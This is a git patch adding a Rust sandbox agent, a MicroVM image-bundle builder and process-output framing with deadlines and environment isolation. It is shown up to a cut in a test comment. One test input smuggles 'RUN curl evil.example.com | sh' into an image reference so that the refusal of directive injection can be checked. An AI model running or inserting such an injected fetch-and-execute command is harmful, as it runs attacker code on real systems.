From a6bd5e23c431e414f4bf78a41f9e8819fefff33d Mon Sep 17 00:00:00 2001 From: Itamar Zand <133867530+ItamarZand88@users.noreply.github.com> Date: Wed, 12 Aug 2026 15:39:09 +0300 Subject: [PATCH] feat(sandbox): add the in-sandbox agent and the image bundle it ships in --- Cargo.lock | 23 + Cargo.toml | 1 + crates/alien-bindings/src/error.rs | 30 + crates/alien-build/Cargo.toml | 3 +- crates/alien-build/src/lib.rs | 1 + crates/alien-build/src/sandbox_bundle.rs | 264 ++++++++ crates/alien-core/Cargo.toml | 3 + crates/alien-core/src/lib.rs | 2 + crates/alien-core/src/sandbox_process.rs | 597 ++++++++++++++++++ crates/alien-sandbox-agent/Cargo.toml | 32 + crates/alien-sandbox-agent/src/confine.rs | 209 ++++++ crates/alien-sandbox-agent/src/error.rs | 94 +++ crates/alien-sandbox-agent/src/exec.rs | 502 +++++++++++++++ crates/alien-sandbox-agent/src/files.rs | 252 ++++++++ crates/alien-sandbox-agent/src/lib.rs | 10 + crates/alien-sandbox-agent/src/main.rs | 203 ++++++ crates/alien-sandbox-agent/src/paths.rs | 250 ++++++++ crates/alien-sandbox-agent/src/peer.rs | 236 +++++++ .../alien-sandbox-agent/src/pid_namespace.rs | 157 +++++ crates/alien-sandbox-agent/src/privilege.rs | 56 ++ crates/alien-sandbox-agent/src/server.rs | 380 +++++++++++ crates/alien-sandbox-agent/tests/protocol.rs | 510 +++++++++++++++ crates/alien-sdk/src/lib.rs | 5 +- 23 files changed, 3817 insertions(+), 3 deletions(-) create mode 100644 crates/alien-build/src/sandbox_bundle.rs create mode 100644 crates/alien-core/src/sandbox_process.rs create mode 100644 crates/alien-sandbox-agent/Cargo.toml create mode 100644 crates/alien-sandbox-agent/src/confine.rs create mode 100644 crates/alien-sandbox-agent/src/error.rs create mode 100644 crates/alien-sandbox-agent/src/exec.rs create mode 100644 crates/alien-sandbox-agent/src/files.rs create mode 100644 crates/alien-sandbox-agent/src/lib.rs create mode 100644 crates/alien-sandbox-agent/src/main.rs create mode 100644 crates/alien-sandbox-agent/src/paths.rs create mode 100644 crates/alien-sandbox-agent/src/peer.rs create mode 100644 crates/alien-sandbox-agent/src/pid_namespace.rs create mode 100644 crates/alien-sandbox-agent/src/privilege.rs create mode 100644 crates/alien-sandbox-agent/src/server.rs create mode 100644 crates/alien-sandbox-agent/tests/protocol.rs diff --git a/Cargo.lock b/Cargo.lock index 060d453c4..9873cd860 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -315,6 +315,7 @@ dependencies = [ "url", "which 6.0.3", "workspace_root", + "zip 2.4.2", ] [[package]] @@ -1030,6 +1031,28 @@ dependencies = [ "utoipa", ] +[[package]] +name = "alien-sandbox-agent" +version = "3.3.11" +dependencies = [ + "alien-core", + "alien-error", + "axum 0.8.9", + "base64 0.22.1", + "bytes", + "chrono", + "ed25519-compact", + "futures", + "libc", + "reqwest 0.12.28", + "serde", + "serde_json", + "tempfile", + "tokio", + "tracing", + "tracing-subscriber", +] + [[package]] name = "alien-sdk" version = "3.3.11" diff --git a/Cargo.toml b/Cargo.toml index 19b1d3ab7..1cccfdecd 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -25,6 +25,7 @@ members = [ "crates/alien-ai-gateway", "crates/alien-error-derive", "crates/alien-permissions", + "crates/alien-sandbox-agent", "crates/alien-preflights", "crates/alien-deployment", "crates/alien-local", diff --git a/crates/alien-bindings/src/error.rs b/crates/alien-bindings/src/error.rs index 202186e70..fdcef291c 100644 --- a/crates/alien-bindings/src/error.rs +++ b/crates/alien-bindings/src/error.rs @@ -249,6 +249,36 @@ pub enum ErrorData { reason: String, }, + /// A command run inside a sandbox did not complete. + #[error( + code = "SANDBOX_COMMAND_FAILED", + message = "Sandbox command failed ({failure}): {reason}", + retryable = "false", + internal = "false", + http_status_code = 400 + )] + SandboxCommandFailed { + /// The agent's own cause, kept as a field so a caller can branch on it + failure: String, + /// Human-readable detail from the agent + reason: String, + }, + + /// The sandbox agent could not be reached, or the connection dropped mid-response. + #[error( + code = "SANDBOX_UNREACHABLE", + message = "Sandbox operation '{operation}' could not reach the agent: {reason}", + retryable = "true", + internal = "false", + http_status_code = 503 + )] + SandboxUnreachable { + /// Operation that was in flight + operation: String, + /// What went wrong on the wire + reason: String, + }, + /// Feature is not enabled in the compiled binary. #[error( code = "FEATURE_NOT_ENABLED", diff --git a/crates/alien-build/Cargo.toml b/crates/alien-build/Cargo.toml index 28e29e43e..0c6d1cd08 100644 --- a/crates/alien-build/Cargo.toml +++ b/crates/alien-build/Cargo.toml @@ -10,7 +10,8 @@ license-file.workspace = true test-utils = ["alien-core/test-utils"] [dependencies] -alien-core = { workspace = true } +zip = { workspace = true } +alien-core = { workspace = true, features = ["sandbox-process"] } alien-error = { workspace = true } alien-preflights = { workspace = true } dockdash = { workspace = true } diff --git a/crates/alien-build/src/lib.rs b/crates/alien-build/src/lib.rs index 318038e9c..db42a9088 100644 --- a/crates/alien-build/src/lib.rs +++ b/crates/alien-build/src/lib.rs @@ -3,6 +3,7 @@ pub mod dependencies; pub mod error; pub mod merge; pub mod plan; +pub mod sandbox_bundle; pub mod settings; pub mod toolchain; diff --git a/crates/alien-build/src/sandbox_bundle.rs b/crates/alien-build/src/sandbox_bundle.rs new file mode 100644 index 000000000..72e0a800b --- /dev/null +++ b/crates/alien-build/src/sandbox_bundle.rs @@ -0,0 +1,264 @@ +//! The bundle a Lambda MicroVM image is built from. +//! +//! AWS builds a MicroVM image from a zip containing a Dockerfile, not from a container image +//! reference, so a declared `code.image` has to be turned into one. That is Alien's packaging +//! problem, not something a user should have to express. +//! +//! The layout is the whole security story of the image: where the agent sits, who owns it, and +//! who the untrusted code runs as. + +use std::fs::File; +use std::io::Write; +use std::path::Path; + +use crate::error::{ErrorData, Result}; +use alien_error::AlienError; +use alien_error::{Context, IntoAlienError}; + +use zip::write::SimpleFileOptions; +use zip::ZipWriter; + +/// Path the agent binary is installed at inside the image. +pub const AGENT_PATH: &str = "/usr/local/bin/alien-sandbox-agent"; + +/// Directory a session's files live under, and the only place the untrusted uid can write. +pub const SESSION_ROOT: &str = "/sandbox"; + +/// Unprivileged uid and gid commands run as. Never the agent's own — a command running as the +/// agent could rewrite the agent. +pub const EXEC_UID: u32 = 60000; + +/// Port the agent serves, both its protocol and the image's lifecycle hooks. +pub use alien_core::sandbox_process::AGENT_PORT; + +/// Name the agent binary must have inside the bundle. +pub const AGENT_FILENAME: &str = "alien-sandbox-agent"; + +/// Renders the Dockerfile for a sandbox image built on `base_image`. +/// +/// The agent runs as root so it can drop to [`EXEC_UID`] before every spawn; inside a MicroVM +/// that is contained by hardware virtualisation, which is the tenant boundary. A shared-kernel +/// backend must give the agent `CAP_SETUID` instead of root. +pub fn dockerfile(base_image: &str) -> Result { + // Checked here rather than by the callers: this is the one place the value crosses into + // generated content, and a reference carrying a newline writes its own Dockerfile directives. + if base_image.is_empty() || base_image.chars().any(|c| c.is_whitespace() || c.is_control()) { + return Err(AlienError::new(ErrorData::BuildConfigInvalid { + message: format!("base image reference '{base_image}' is not a valid image reference"), + })); + } + + Ok(format!( + r#"FROM {base_image} + +# Root-owned and not writable by the exec uid: the untrusted code the agent supervises must not +# be able to rewrite the supervisor. +COPY --chown=0:0 --chmod=0755 {AGENT_FILENAME} {AGENT_PATH} + +# Written with numeric ids and a plain append rather than useradd/adduser, which differ across +# base distributions. Linux runs a process under a uid with no passwd entry, but some tooling +# inside the sandbox reads one. +RUN printf 'sandbox:x:{EXEC_UID}:{EXEC_UID}::{SESSION_ROOT}:/sbin/nologin\n' >> /etc/passwd \ + && printf 'sandbox:x:{EXEC_UID}:\n' >> /etc/group \ + && mkdir -p {SESSION_ROOT} \ + && chown {EXEC_UID}:{EXEC_UID} {SESSION_ROOT} \ + && chmod 0700 {SESSION_ROOT} + +# The full contract, in the image rather than only in the template. The ready hook runs during +# the image build, and the agent refuses to start without every one of these — so a value +# supplied only at run time leaves the build waiting on an agent that never came up. +ENV ALIEN_SANDBOX_ROOT={SESSION_ROOT} \ + ALIEN_SANDBOX_PORT={AGENT_PORT} \ + ALIEN_SANDBOX_AUTHORIZATION=transport \ + ALIEN_SANDBOX_EXEC_UID={EXEC_UID} \ + ALIEN_SANDBOX_EXEC_GID={EXEC_UID} + +EXPOSE {AGENT_PORT} +ENTRYPOINT ["{AGENT_PATH}"] +"# + )) +} + +/// Writes the bundle AWS builds a MicroVM image from: the rendered Dockerfile and the agent +/// binary beside it, zipped. +/// +/// The archive is flat on purpose — `CreateMicrovmImage` looks for the Dockerfile at the root, +/// and a nested directory produces a build failure minutes in rather than a rejected request. +pub fn write_bundle(destination: &Path, base_image: &str, agent_binary: &Path) -> Result<()> { + let failed = |operation: &str, path: &Path| ErrorData::FileOperationFailed { + operation: operation.to_string(), + file_path: path.display().to_string(), + reason: "could not assemble the sandbox image bundle".to_string(), + }; + + let agent = std::fs::read(agent_binary) + .into_alien_error() + .context(failed("read", agent_binary))?; + let archive = File::create(destination) + .into_alien_error() + .context(failed("create", destination))?; + let mut zip = ZipWriter::new(archive); + + // 0755 on the agent so the entry is already executable; the Dockerfile's `--chmod` covers + // builders that drop archive modes, and neither alone is reliable across both. + let options: SimpleFileOptions = SimpleFileOptions::default().unix_permissions(0o755); + zip.start_file(AGENT_FILENAME, options) + .into_alien_error() + .context(failed("write", destination))?; + zip.write_all(&agent) + .into_alien_error() + .context(failed("write", destination))?; + + zip.start_file("Dockerfile", SimpleFileOptions::default().unix_permissions(0o644)) + .into_alien_error() + .context(failed("write", destination))?; + zip.write_all(dockerfile(base_image)?.as_bytes()) + .into_alien_error() + .context(failed("write", destination))?; + + zip.finish() + .into_alien_error() + .context(failed("finalize", destination))?; + Ok(()) +} + +#[cfg(test)] +mod tests { + /// The reference reaches a generated Dockerfile, so a newline in it writes directives of the + /// caller's choosing. Both entry points render through `dockerfile`, so the refusal is here. + #[test] + fn an_image_reference_that_would_inject_directives_is_refused() { + for reference in [ + "alpine\nRUN curl evil.example.com | sh", + "alpine:3 \nFROM scratch", + "", + "alpine\tlatest", + ] { + super::dockerfile(reference) + .expect_err(&format!("{reference:?} must not render into a Dockerfile")); + } + + // The control arm: an ordinary reference still renders, so the guard is not refusing + // everything. + let rendered = super::dockerfile("public.ecr.aws/lambda/microvms:al2023-minimal") + .expect("an ordinary reference renders"); + assert!(rendered.starts_with("FROM public.ecr.aws/lambda/microvms:al2023-minimal")); + } + + use super::*; + + + /// The properties below are the image's half of the supervisor boundary. A base image is + /// caller-supplied, so these assertions are about what Alien adds on top of it. + fn rendered() -> String { + dockerfile("public.ecr.aws/lambda/microvms:al2023-minimal").expect("a valid reference") + } + + #[test] + fn the_base_image_is_the_one_asked_for() { + assert!(rendered().starts_with("FROM public.ecr.aws/lambda/microvms:al2023-minimal\n")); + } + + /// The escalation this prevents: untrusted code running as the exec uid overwriting the + /// agent binary and answering in its place. + #[test] + fn the_agent_binary_is_root_owned_and_not_writable_by_the_exec_uid() { + let dockerfile = rendered(); + assert!( + dockerfile.contains(&format!("COPY --chown=0:0 --chmod=0755 {AGENT_FILENAME} {AGENT_PATH}")), + "the agent must be root-owned and mode 0755:\n{dockerfile}" + ); + } + + /// 0700 and owned by the exec uid: the session's own files are readable only by the code + /// that created them, not by anything else the base image happens to run. + #[test] + fn the_session_root_belongs_to_the_exec_uid_alone() { + let dockerfile = rendered(); + assert!(dockerfile.contains(&format!("chown {EXEC_UID}:{EXEC_UID} {SESSION_ROOT}"))); + assert!(dockerfile.contains(&format!("chmod 0700 {SESSION_ROOT}"))); + } + + /// The agent refuses to start without these, so an image that omits them is a sandbox that + /// never runs. Baking them in means the template and the image cannot disagree. + #[test] + fn the_agent_contract_is_baked_into_the_image() { + let dockerfile = rendered(); + for expected in [ + &format!("ALIEN_SANDBOX_ROOT={SESSION_ROOT}"), + &format!("ALIEN_SANDBOX_EXEC_UID={EXEC_UID}"), + &format!("ALIEN_SANDBOX_EXEC_GID={EXEC_UID}"), + &"ALIEN_SANDBOX_AUTHORIZATION=transport".to_string(), + ] { + assert!(dockerfile.contains(expected.as_str()), "missing {expected}"); + } + } + + /// A shell would re-parse the path and give the sandbox a process it did not ask for. + #[test] + fn the_entrypoint_is_exec_form() { + assert!(rendered().contains(&format!(r#"ENTRYPOINT ["{AGENT_PATH}"]"#))); + } + + /// The uid the image creates and the uid the agent is told to use are the same number in + /// three places — the image, the Terraform emitter and the CloudFormation emitter. This + /// pins the one the other two are asserted against. + #[test] + fn the_exec_uid_is_unprivileged() { + assert_ne!(EXEC_UID, 0, "the exec uid must never be root"); + assert_eq!(EXEC_UID, 60000); + assert_eq!(AGENT_PORT, 8971); + } + + /// The archive has to be flat and contain both entries: `CreateMicrovmImage` looks for the + /// Dockerfile at the root, and a nested layout fails minutes into a build instead of being + /// rejected up front. + #[test] + fn the_bundle_is_flat_and_carries_both_entries() { + let dir = tempfile::TempDir::new().expect("temp dir"); + let agent = dir.path().join("agent-bin"); + std::fs::write(&agent, b"\x7fELF-not-really").expect("agent"); + let bundle = dir.path().join("sandbox.zip"); + + write_bundle(&bundle, "ubuntu:24.04", &agent).expect("writes the bundle"); + + let file = std::fs::File::open(&bundle).expect("opens"); + let mut archive = zip::ZipArchive::new(file).expect("reads as a zip"); + + let mut names: Vec = (0..archive.len()) + .map(|i| archive.by_index(i).expect("entry").name().to_string()) + .collect(); + names.sort(); + assert_eq!(names, vec!["Dockerfile", AGENT_FILENAME]); + + for name in &names { + assert!(!name.contains('/'), "the archive must be flat, found '{name}'"); + } + + let mut dockerfile_entry = archive.by_name("Dockerfile").expect("Dockerfile entry"); + let mut contents = String::new(); + std::io::Read::read_to_string(&mut dockerfile_entry, &mut contents).expect("reads"); + assert!(contents.starts_with("FROM ubuntu:24.04")); + } + + /// The agent entry must survive as an executable. A builder that honours archive modes and + /// one that does not both have to produce a runnable binary, which is why the Dockerfile + /// also carries `--chmod`. + #[test] + fn the_agent_entry_is_executable() { + let dir = tempfile::TempDir::new().expect("temp dir"); + let agent = dir.path().join("agent-bin"); + std::fs::write(&agent, b"binary").expect("agent"); + let bundle = dir.path().join("sandbox.zip"); + write_bundle(&bundle, "ubuntu:24.04", &agent).expect("writes"); + + let file = std::fs::File::open(&bundle).expect("opens"); + let mut archive = zip::ZipArchive::new(file).expect("zip"); + let entry = archive.by_name(AGENT_FILENAME).expect("agent entry"); + assert_eq!( + entry.unix_mode().map(|mode| mode & 0o777), + Some(0o755), + "the agent entry must be executable in the archive" + ); + } +} diff --git a/crates/alien-core/Cargo.toml b/crates/alien-core/Cargo.toml index 6944b79a0..34978053a 100644 --- a/crates/alien-core/Cargo.toml +++ b/crates/alien-core/Cargo.toml @@ -15,6 +15,9 @@ local = ["tokio/fs"] # Signing and verifying sandbox capability tokens. Gated because alien-core is also built for # targets that have no business carrying a crypto implementation. sandbox-capability = ["dep:ed25519-compact"] +# Framing a child process into sandbox output frames. Gated because most consumers of this +# crate have no business spawning processes. +sandbox-process = ["tokio/process", "tokio/io-util", "tokio/time", "tokio/macros", "tokio/sync"] [dependencies] serde = { workspace = true, features = ["derive"] } diff --git a/crates/alien-core/src/lib.rs b/crates/alien-core/src/lib.rs index 369cf7e42..e353f6fa7 100644 --- a/crates/alien-core/src/lib.rs +++ b/crates/alien-core/src/lib.rs @@ -32,6 +32,8 @@ pub mod sandbox_capability; #[cfg(feature = "sandbox-capability")] pub mod sandbox_capability_token; +#[cfg(feature = "sandbox-process")] +pub mod sandbox_process; pub use resource::*; mod ownership; diff --git a/crates/alien-core/src/sandbox_process.rs b/crates/alien-core/src/sandbox_process.rs new file mode 100644 index 000000000..bc380ab9a --- /dev/null +++ b/crates/alien-core/src/sandbox_process.rs @@ -0,0 +1,597 @@ +//! Turning a child process into sandbox output frames. +//! +//! Two backends need this and neither can be the other's dependency: the in-sandbox agent runs a +//! command in its own guest, and the GCP binding runs one through a launcher CLI on the Cloud +//! Run container. The framing rules are the same on both sides and subtle enough that a second +//! implementation would drift, so they live here once. +//! +//! The rules, all of which cost something to learn: +//! +//! - **One sequence across both streams.** Two counters cannot express production order. +//! - **The two streams are drained as independent futures, joined at the whole-stream level.** +//! Joining per read stalls a command that writes only to stdout until it exits, which makes +//! streaming dead while every test whose command exits immediately still passes. +//! - **Exactly one terminal frame, always last.** +//! - **A read that fails is not a clean exit.** Reporting an exit code over output the caller +//! never received describes a command that did not happen. +//! - **The deadline is enforced, not advisory.** Kill first, then report. The command leads its +//! own process group and the group is killed, so what it forked goes with it — except a child +//! that calls `setsid`, which needs a cgroup or a PID namespace to contain. +//! - **Backpressure is the send.** A bounded channel means a chatty command blocks rather than +//! growing a buffer, and a dropped receiver kills the process instead of leaving it running. + +use std::collections::BTreeMap; +use std::process::Stdio; +use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; +use std::sync::Mutex; +use std::time::Duration; + +use tokio::io::{AsyncBufReadExt, AsyncReadExt, BufReader}; +use tokio::process::{Child, Command}; +use tokio::sync::mpsc; + +/// Largest chunk read before a frame is emitted. +/// +/// Output with no newline in it would otherwise be buffered whole: `output_cap` is enforced only +/// after a read returns, so it bounds what is kept, never what is allocated. +const MAX_FRAME_BYTES: u64 = 64 * 1024; + +/// Port the agent listens on inside a sandbox. +/// +/// Defined once because two independent copies are a runtime-only failure: the image build places +/// the agent on one port and the client dials the other, and nothing catches it until a session +/// hangs. AWS scopes its endpoint token to an explicit port set, so this cannot be discovered. +pub const AGENT_PORT: u16 = 8971; + +/// How many frames may sit between the process and the caller. +/// +/// Small on purpose: this is the backpressure window, and a large one would just be a buffer +/// that hides a caller who has stopped reading. +pub const FRAME_CHANNEL_DEPTH: usize = 16; + +/// Which stream a chunk of output came from. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ProcessStream { + Stdout, + Stderr, +} + +/// One frame of a running process's output, before a backend maps it onto its own wire type. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum ProcessFrame { + /// Bytes read from one of the two streams + Output { + /// Monotonic across both streams + seq: u64, + stream: ProcessStream, + /// Raw bytes; output is not necessarily UTF-8 + data: Vec, + }, + /// The process finished. Terminal. + Exit { + /// Exit code, or -1 when the process was signalled and reported none + code: i32, + /// Set when output was cut short by `output_cap` rather than by the process ending + truncated: bool, + }, + /// The process did not finish. Also terminal. + Failed { + code: &'static str, + message: String, + }, +} + +/// The only variable [`spawn_sandboxed`] gives a command for free. Without it the program name +/// resolves against nothing, so `python` in an image that has one would stop working. +const DEFAULT_PATH: &str = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"; + +/// Spawns one of Alien's own helper processes, inheriting the environment it runs in. +/// +/// For a caller's code use [`spawn_sandboxed`] instead — the difference is the whole security +/// property, which is why these are two functions and not a flag. +/// +/// stdin is null rather than inherited: a sandboxed command that blocks on a terminal read would +/// hold its deadline open with nothing to answer it. +pub fn spawn(program: &str, arguments: &[String]) -> std::io::Result { + let mut command = Command::new(program); + command + .args(arguments) + .stdin(Stdio::null()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + + // Its own process group, so a deadline can reach everything the command forked. Without it + // `kill` reaches the direct child only, and `sh -c 'sleep 3000 &'` outlives its own deadline. + #[cfg(unix)] + command.process_group(0); + + Ok(command) +} + +/// Kills the command and everything it forked. +/// +/// The child leads its own group, so the negated pid names that group and nothing else. Falls back +/// to the child alone if it has already been reaped and has no pid to name. +async fn kill_all(child: &mut Child) { + #[cfg(unix)] + if let Some(pid) = child.id() { + // SAFETY: `kill(2)` with a negative pid signals a process group. The group is this + // child's own, established at spawn, so nothing else can be in it. + unsafe { + libc::kill(-(pid as i32), libc::SIGKILL); + } + } + + let _ = child.kill().await; +} + +/// Spawns untrusted code with a fresh environment: `PATH`, plus `environment` and nothing else. +/// +/// The ambient environment is not inherited. The agent's own environment names its port, its +/// session root and its session id, so passing it down hands untrusted code a map to the API that +/// is running it — along with whatever else the runtime happened to set. +pub fn spawn_sandboxed( + program: &str, + arguments: &[String], + environment: &BTreeMap, +) -> std::io::Result { + let mut command = spawn(program, arguments)?; + command + .env_clear() + .env("PATH", DEFAULT_PATH) + .envs(environment); + Ok(command) +} + +/// Streams a spawned child's output, sending frames as they are produced. +/// +/// `output_cap` bounds how many bytes of each stream are kept. Beyond it the process still runs +/// to completion, because killing a command over a chatty log would be a surprising failure, but +/// the extra output is dropped and the terminal frame says so. +pub async fn stream( + mut child: Child, + deadline: Duration, + output_cap: usize, + frames: mpsc::Sender, +) { + let stdout = child.stdout.take(); + let stderr = child.stderr.take(); + + let seq = AtomicU64::new(0); + let truncated = AtomicBool::new(false); + let read_error: Mutex> = Mutex::new(None); + + let pump = async { + let (stdout_connected, stderr_connected) = tokio::join!( + drain( + stdout, + ProcessStream::Stdout, + output_cap, + &seq, + &truncated, + &read_error, + &frames + ), + drain( + stderr, + ProcessStream::Stderr, + output_cap, + &seq, + &truncated, + &read_error, + &frames + ), + ); + stdout_connected && stderr_connected + }; + + let mut connected = true; + let outcome = tokio::time::timeout(deadline, async { + // Racing the channel against the work, not only draining it: `pump` learns the caller + // left by failing to send, so a command that prints nothing would run to its deadline + // after everyone stopped listening. `closed()` resolves as soon as the receiver drops, + // whether or not there was ever a frame to deliver. + tokio::select! { + biased; + () = frames.closed() => { + connected = false; + Ok(std::process::ExitStatus::default()) + } + result = async { + connected = pump.await; + child.wait().await + } => result, + } + }) + .await; + + // The caller went away, so there is nobody to report to and no reason to keep running. + if !connected { + kill_all(&mut child).await; + return; + } + + let truncated = truncated.load(Ordering::Relaxed); + let read_error = read_error.into_inner().expect("no panic holds this lock"); + + let terminal = match outcome { + Ok(Ok(_)) if read_error.is_some() => ProcessFrame::Failed { + code: "outputReadFailed", + message: read_error.expect("checked"), + }, + Ok(Ok(status)) => ProcessFrame::Exit { + code: status.code().unwrap_or(-1), + truncated, + }, + Ok(Err(error)) => ProcessFrame::Failed { + code: "waitFailed", + message: error.to_string(), + }, + Err(_) => { + kill_all(&mut child).await; + ProcessFrame::Failed { + code: "deadlineExceeded", + message: format!("exceeded its {}ms deadline", deadline.as_millis()), + } + } + }; + + let _ = frames.send(terminal).await; +} + +/// Runs a child to completion and collects every frame. +/// +/// Safe on unbounded output: [`stream`] blocks on a full channel rather than buffering, and +/// `output_cap` still applies to what is kept. +pub async fn run(child: Child, deadline: Duration, output_cap: usize) -> Vec { + let (sender, mut receiver) = mpsc::channel(FRAME_CHANNEL_DEPTH); + + let produce = stream(child, deadline, output_cap, sender); + let consume = async { + let mut frames = Vec::new(); + while let Some(frame) = receiver.recv().await { + frames.push(frame); + } + frames + }; + + let (_, frames) = tokio::join!(produce, consume); + frames +} + +/// Reads one stream to EOF, framing each line. Returns false if the caller went away. +/// +/// A truncated line still consumes a sequence number, so a gap tells the caller output was +/// dropped rather than hiding it. +async fn drain( + stream: Option, + which: ProcessStream, + output_cap: usize, + seq: &AtomicU64, + truncated: &AtomicBool, + read_error: &Mutex>, + frames: &mpsc::Sender, +) -> bool +where + R: tokio::io::AsyncRead + Unpin, +{ + let Some(stream) = stream else { + return true; + }; + + let mut reader = BufReader::new(stream); + let mut kept = 0usize; + + loop { + let mut line = Vec::new(); + // Bounded per read: `output_cap` is checked only after a read returns, so an unbounded + // `read_until` on output that never contains a newline grows this buffer until the + // process is killed. A longer line is split, which the sequence numbers already express. + match (&mut reader) + .take(MAX_FRAME_BYTES) + .read_until(b'\n', &mut line) + .await + { + Ok(0) => return true, + Err(error) => { + read_error + .lock() + .expect("no panic holds this lock") + .get_or_insert_with(|| error.to_string()); + return true; + } + Ok(read) => { + let number = seq.fetch_add(1, Ordering::Relaxed); + + if kept + read > output_cap { + truncated.store(true, Ordering::Relaxed); + continue; + } + + kept += read; + if frames + .send(ProcessFrame::Output { + seq: number, + stream: which, + data: line, + }) + .await + .is_err() + { + return false; + } + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn child(command: &[&str]) -> Child { + let arguments: Vec = command[1..].iter().map(|s| s.to_string()).collect(); + spawn(command[0], &arguments) + .expect("command builds") + .spawn() + .expect("command spawns") + } + + /// A caller that stops reading has to stop the command, not merely stop hearing from it. + /// Learning that from a failed send only works for a command that prints: a silent one would + /// hold a sandbox until its deadline after everyone had gone. The deadline here is long + /// enough that reaching it would fail the test rather than pass it slowly. + #[tokio::test] + async fn a_silent_command_is_killed_when_the_caller_stops_listening() { + let (sender, receiver) = mpsc::channel(4); + let running = tokio::spawn(stream( + child(&["/bin/sh", "-c", "sleep 60"]), + Duration::from_secs(60), + 1024, + sender, + )); + + drop(receiver); + + tokio::time::timeout(Duration::from_secs(10), running) + .await + .expect("dropping the receiver stops the command rather than waiting out its deadline") + .expect("the task does not panic"); + } + + fn terminal(frames: &[ProcessFrame]) -> &ProcessFrame { + frames.last().expect("there is always a terminal frame") + } + + fn stdout_of(frames: &[ProcessFrame]) -> String { + let mut collected = Vec::new(); + for frame in frames { + if let ProcessFrame::Output { + stream: ProcessStream::Stdout, + data, + .. + } = frame + { + collected.extend_from_slice(data); + } + } + String::from_utf8_lossy(&collected).into_owned() + } + + /// A deadline that reaches only the direct child is not a deadline: the command backgrounds a + /// process and returns, and that process keeps the session's CPU and files after the caller + /// was told the command was killed. + #[tokio::test] + #[cfg(unix)] + async fn a_deadline_kills_what_the_command_forked() { + let marker = std::env::temp_dir().join(format!("alien-forked-{}", std::process::id())); + let _ = std::fs::remove_file(&marker); + + // The grandchild outlives the deadline and keeps writing. stdout is closed so it cannot + // hold the pipe open — this test is about the process surviving, not about the stream. + let script = format!( + "(while true; do echo x >> {} ; sleep 0.05; done) >/dev/null 2>&1 &\nsleep 30", + marker.display() + ); + let command = spawn("/bin/sh", &["-c".to_string(), script]) + .expect("command builds") + .spawn() + .expect("command spawns"); + + let frames = run(command, Duration::from_millis(400), 1 << 20).await; + assert!( + matches!(terminal(&frames), ProcessFrame::Failed { code: "deadlineExceeded", .. }), + "the command must hit its deadline: {frames:?}" + ); + + // Let anything still running write again, then compare: a survivor keeps growing the file. + tokio::time::sleep(Duration::from_millis(300)).await; + let after_kill = std::fs::metadata(&marker).map(|m| m.len()); + tokio::time::sleep(Duration::from_millis(300)).await; + let later = std::fs::metadata(&marker).map(|m| m.len()); + let _ = std::fs::remove_file(&marker); + + // Asserted, not defaulted: if the grandchild never ran, both reads would be "missing" and + // a comparison of two absent files would pass while proving nothing. + let after_kill = after_kill.expect("the forked process must have written before the kill"); + let later = later.expect("the marker must still exist"); + assert!(after_kill > 0, "the forked process wrote nothing, so this test proves nothing"); + assert_eq!( + after_kill, later, + "a process the command forked outlived the deadline and is still writing" + ); + } + + /// The security property [`spawn_sandboxed`] exists for, asserted rather than assumed. The + /// control arm matters as much as the leak arm: a command that saw no variables because the + /// shell never ran would pass a one-sided version of this test. + #[tokio::test] + async fn a_sandboxed_command_does_not_inherit_the_ambient_environment() { + std::env::set_var("ALIEN_SANDBOX_LEAK_PROBE", "leaked"); + + let environment = BTreeMap::from([("PASSED_IN".to_string(), "yes".to_string())]); + let command = spawn_sandboxed( + "/bin/sh", + &[ + "-c".to_string(), + "echo \"ambient=${ALIEN_SANDBOX_LEAK_PROBE:-absent} passed=${PASSED_IN:-absent}\"" + .to_string(), + ], + &environment, + ) + .expect("command builds") + .spawn() + .expect("command spawns"); + + let frames = run(command, Duration::from_secs(10), 1 << 20).await; + + assert!( + matches!(terminal(&frames), ProcessFrame::Exit { code: 0, .. }), + "the probe must actually run: {frames:?}" + ); + assert_eq!( + stdout_of(&frames).trim(), + "ambient=absent passed=yes", + "the ambient environment must not cross into a caller's command" + ); + } + + #[tokio::test] + async fn output_is_followed_by_exactly_one_terminal_frame() { + let frames = run(child(&["/bin/echo", "hello"]), Duration::from_secs(10), 1 << 20).await; + + assert!(matches!(terminal(&frames), ProcessFrame::Exit { code: 0, .. })); + assert_eq!( + frames + .iter() + .filter(|frame| matches!( + frame, + ProcessFrame::Exit { .. } | ProcessFrame::Failed { .. } + )) + .count(), + 1 + ); + } + + /// The ordering property the single counter exists for: a caller can interleave the two + /// streams back into the order the process produced them. + #[tokio::test] + async fn both_streams_share_one_monotonic_sequence() { + let frames = run( + child(&["/bin/sh", "-c", "echo out; echo err 1>&2; echo out2"]), + Duration::from_secs(10), + 1 << 20, + ) + .await; + + let sequence: Vec = frames + .iter() + .filter_map(|frame| match frame { + ProcessFrame::Output { seq, .. } => Some(*seq), + _ => None, + }) + .collect(); + + let mut sorted = sequence.clone(); + sorted.sort_unstable(); + sorted.dedup(); + assert_eq!(sorted.len(), sequence.len(), "no sequence number is reused"); + assert!( + frames + .iter() + .any(|frame| matches!(frame, ProcessFrame::Output { stream: ProcessStream::Stderr, .. })), + "stderr must be framed, not dropped" + ); + } + + /// A command that never ends must still end. The kill happens before the report, so a + /// timeout never leaves a runaway behind. + #[tokio::test] + async fn a_deadline_ends_a_command_that_would_not() { + let frames = run( + child(&["/bin/sh", "-c", "sleep 30"]), + Duration::from_millis(200), + 1 << 20, + ) + .await; + + assert!(matches!( + terminal(&frames), + ProcessFrame::Failed { + code: "deadlineExceeded", + .. + } + )); + } + + /// Output past the cap is dropped and declared, rather than the command being killed over a + /// chatty log. + #[tokio::test] + async fn output_past_the_cap_is_truncated_and_the_terminal_frame_says_so() { + let frames = run( + child(&["/bin/sh", "-c", "for i in 1 2 3 4 5 6 7 8 9 10; do echo aaaaaaaaaa; done"]), + Duration::from_secs(10), + 8, + ) + .await; + + assert!(matches!( + terminal(&frames), + ProcessFrame::Exit { + code: 0, + truncated: true + } + )); + } + + /// A caller that stops reading must stop the process, not leak it. + /// A caller that stops reading must stop the process, not leak it. + /// + /// The bounded channel is what applies the backpressure, and a dropped receiver is a caller + /// that went away — the process it was waiting on 